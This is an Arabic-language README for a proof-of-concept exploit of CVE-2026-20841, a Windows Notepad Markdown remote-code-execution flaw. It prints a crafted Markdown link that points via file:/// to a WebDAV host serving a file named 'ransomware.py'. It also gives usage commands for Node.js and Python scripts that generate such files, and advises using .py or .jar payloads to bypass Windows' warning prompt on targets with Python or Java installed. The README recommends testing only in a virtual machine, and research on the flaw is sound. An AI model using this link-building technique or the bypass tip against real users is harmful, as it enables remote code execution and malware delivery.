CVE-2026-20841 PoC

PoC لثغرة "Windows Notepad RCE".

إخلاء المسؤولية

1. أنا لستُ مكتشف هذه الثغرة. يعود الفضل إلى المؤلفين الأصليين المدرجين في صفحة الإفصاح الرسمية. لقد أعدت فقط إنشاء الـ PoC وفقًا للوصف.
2. شخصيًا، لا أعتقد أن هذه الثغرة بالخطورة التي قد تبدو عليها. يتطلب تشغيلها أكثر من نقرة واحدة، ما لم تتحقق معايير معينة على النظام المستهدف. يُرجى الاطلاع على قسم المعايير والقيود. أعدت إنشاء هذا الـ PoC لأنه يستحق أن يُتداول كميم. فـ"Notepad RCE" يبدو أمرًا جنونيًا للغاية.

الوصف

"الثغرة" بسيطة. محرك Markdown في Windows Notepad لا يبالي ببروتوكولات عناوين URL غير المألوفة. بوصفي محلل برمجيات خبيثة، قرأتُ تقارير عديدة عن نشر الحمولات عبر WebDAV وSMB. من خلال هذا المستند، يمكن إساءة استخدام بروتوكول file:/// وإنشاء عنوان URL يشير إلى ملف على خادم WebDAV/SMB.

[BadLink](file:///\\webdav-payload-host@5005\DavWWWRoot\ransomware.py)

الاستخدام

لقد أعددت نصين برمجيين: أحدهما بلغة Node.js والآخر بلغة Python. كلاهما ينشئ ملف Markdown يشير إلى حمولة WebDAV. يمكنك استخدام الحمولات النموذجية في مجلد sample-payloads.

Node.js

node poc.js <webdav-server> <port> <payload/path/on/server>

Python

python poc.py <webdav-server> <port> <payload/path/on/server>

سيظهر الملف الناتج (poc.md) في الدليل الحالي.

المعايير والقيود

1. معظم امتدادات ملفات الحمولة (مثل .exe و.lnk و.vbs، ...) ستظل تؤدي إلى ظهور تحذير مدمج على الرغم من أن تطبيق Notepad معرّض للثغرة. يأتي التحذير من Windows نفسه. على الأقل كل ما اختبرته مما يمكن أن يؤدي إلى تنفيذ تعليمات برمجية على تثبيت افتراضي خارج الصندوق (OOB) يُظهر هذا التحذير الإلزامي.
   

2. إذا كان الجهاز المستهدف يحتوي على Python أو Java مثبتًا، يمكنك استخدام حمولة بامتداد .py أو .jar لتجاوز نافذة التحذير المنبثقة.

بعد تطبيق التصحيح

النقر على الرابط الآن يعرض نافذة تحذير منبثقة جديدة.

متفرقات

يمكنك العثور على نسخة Windows Notepad المعرّضة للثغرة من Uptodown. تذكر التحقق من التوقيع الرقمي للمثبّت والتأكد من أنه من Microsoft. كما ينبغي اختبار هذا الـ PoC داخل جهاز افتراضي فقط.

ابقوا آمنين واستمتعوا!